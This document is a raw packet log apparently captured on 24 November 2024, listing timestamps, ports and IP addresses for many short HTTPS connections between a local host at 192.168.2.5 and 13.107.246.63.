Nov 24, 2024 10:23:28.002346039 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.002413034 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.002587080 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.002598047 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.068202019 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.070902109 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.070955992 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.078159094 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.078165054 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.078175068 CET	49709	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.078180075 CET	443	49709	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.082187891 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.082201958 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.082271099 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.082556009 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.082566023 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103321075 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103337049 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103390932 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.103399992 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103442907 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.103790045 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.103794098 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103807926 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.103903055 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103926897 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.103966951 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.104732990 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.104794979 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.104849100 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.104866028 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.104903936 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.106223106 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.106230974 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.106246948 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.106571913 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.106679916 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.106739998 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109276056 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109308004 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.109375000 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109827995 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109838963 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.109893084 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109975100 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.109992981 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:28.110141993 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:28.110152960 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.718822956 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.722449064 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.722461939 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.724185944 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.724190950 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.803278923 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.826898098 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.826931953 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.828571081 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.828579903 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.909802914 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.915819883 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.915843010 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.920202971 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.920207977 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.942168951 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.949095964 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.949103117 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.953505039 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.953509092 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.974381924 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.981861115 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.981892109 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:29.989818096 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:29.989830971 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.255330086 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.255532980 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.255604982 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.256428003 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.256428003 CET	49715	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.256448984 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.256459951 CET	443	49715	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.259952068 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.259987116 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.260067940 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.260262012 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.260273933 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.356232882 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.356455088 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.356533051 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.356734991 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.356748104 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.356766939 CET	49718	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.356771946 CET	443	49718	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.360254049 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.360358000 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.360460997 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.360642910 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.360672951 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.397325993 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.397367001 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.397416115 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.397595882 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.397600889 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.397608995 CET	49716	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.397613049 CET	443	49716	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.400470018 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.400491953 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.400629044 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.400754929 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.400769949 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.426719904 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.427135944 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.427253962 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.429048061 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.429076910 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.429100037 CET	49717	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.429109097 CET	443	49717	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.433772087 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.433873892 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.433957100 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.434148073 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.434185028 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.688018084 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.688075066 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.688127995 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.688448906 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.688462973 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.688477039 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.688483000 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.692310095 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.692329884 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:30.692459106 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.692601919 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:30.692615986 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.055577993 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.057543039 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.057571888 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.059226036 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.059233904 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.167953014 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.168523073 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.168560982 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.169143915 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.169150114 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.190248013 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.190737963 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.190753937 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.191207886 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.191212893 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.224982977 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.225622892 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.225692987 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.226191998 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.226203918 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.482954979 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.490982056 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.491003036 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.491801023 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.491806030 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.502630949 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.502782106 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.502832890 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.503020048 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.503032923 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.503062010 CET	49720	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.503067017 CET	443	49720	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.507128954 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.507160902 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.507230997 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.507422924 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.507433891 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.613805056 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.613960981 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.614043951 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.614386082 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.614432096 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.614459991 CET	49721	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.614475965 CET	443	49721	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.617714882 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.617739916 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.617835999 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.618035078 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.618046045 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.636692047 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.636737108 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.636816978 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.637027025 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.637032986 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.637046099 CET	49722	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.637049913 CET	443	49722	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.639986992 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.640002966 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.640084982 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.640229940 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.640242100 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.671190977 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.671365976 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.671431065 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.671485901 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.671510935 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.671538115 CET	49723	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.671550035 CET	443	49723	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.673690081 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.673698902 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.673774004 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.673897028 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.673903942 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.933715105 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.933780909 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.933852911 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.934106112 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.934117079 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.934128046 CET	49724	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.934132099 CET	443	49724	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.937233925 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.937247038 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:32.937330961 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.937494993 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:32.937506914 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.317528963 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.318587065 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.318607092 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.319179058 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.319183111 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.372325897 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.372982025 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.372988939 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.373512030 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.373516083 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.423854113 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.424453974 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.424472094 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.424957037 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.424962044 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.479829073 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.480376959 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.480386019 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.480945110 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.480950117 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.740400076 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.741281986 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.741292953 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.741811991 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.741816998 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.759393930 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.759535074 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.759594917 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.759831905 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.759843111 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.759860992 CET	49725	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.759865999 CET	443	49725	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.762917042 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.762933969 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.763008118 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.763165951 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.763174057 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.806750059 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.806813002 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.806868076 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.807070971 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.807076931 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.807107925 CET	49727	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.807111979 CET	443	49727	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.810082912 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.810107946 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.810192108 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.810338020 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.810349941 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.866514921 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.866664886 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.866724014 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.866796970 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.866806030 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.866813898 CET	49726	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.866817951 CET	443	49726	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.869174957 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.869230986 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.869307995 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.869431973 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.869442940 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.922624111 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.922770977 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.922837019 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.923008919 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.923017025 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.923027039 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.923029900 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.926002026 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.926029921 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:34.926098108 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.926260948 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:34.926273108 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.184175968 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.184230089 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.186405897 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.186685085 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.186697960 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.186707020 CET	49729	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.186712980 CET	443	49729	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.190346003 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.190442085 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:35.190529108 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.190725088 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:35.190752029 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.488295078 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.489063978 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.489084959 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.489659071 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.489662886 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.530272961 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.531157970 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.531194925 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.531744003 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.531750917 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.664500952 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.665199995 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.665255070 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.665704012 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.665712118 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.719896078 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.720680952 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.720702887 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.721210957 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.721215963 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.915501118 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.918916941 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.919011116 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.919426918 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.919442892 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.928136110 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.928314924 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.928375959 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.928406954 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.928420067 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.928430080 CET	49730	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.928433895 CET	443	49730	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.932450056 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.932475090 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.932557106 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.932691097 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.932703972 CET	443	49735	13.107.246.63	192.168.2.5
